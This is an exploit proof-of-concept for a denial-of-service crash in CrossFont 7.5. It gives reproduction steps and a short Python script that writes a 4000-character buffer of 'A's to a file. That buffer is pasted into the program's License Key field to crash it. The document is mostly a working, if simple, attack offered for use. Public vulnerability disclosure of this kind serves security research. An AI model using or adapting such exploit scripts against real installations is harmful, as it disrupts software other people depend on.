# Exploit Title: CrossFont 7.5 - Denial of Service (PoC) # Author: Gionathan "John" Reale # Discovey Date: 2018-09-26 # Software Link: http://www.acutesystems.com/cfnt/cfsetup.exe # Tested Version: 7.5 # Tested on OS: Windows 7 32-bit # Steps to Reproduce: Run the python exploit script, it will create a new # file with the name "exploit.txt". Copy the content from "exploit.txt". # Now start the program. When inside the program click "Enter Key" # Now paste the contents of "exploit.txt" into the fields:"License Key/Code" # Click "OK" and you will see a crash. #!/usr/bin/python buffer = "A" * 4000 payload = buffer try: f=open("exploit.txt","w") print "[+] Creating %s bytes evil payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created"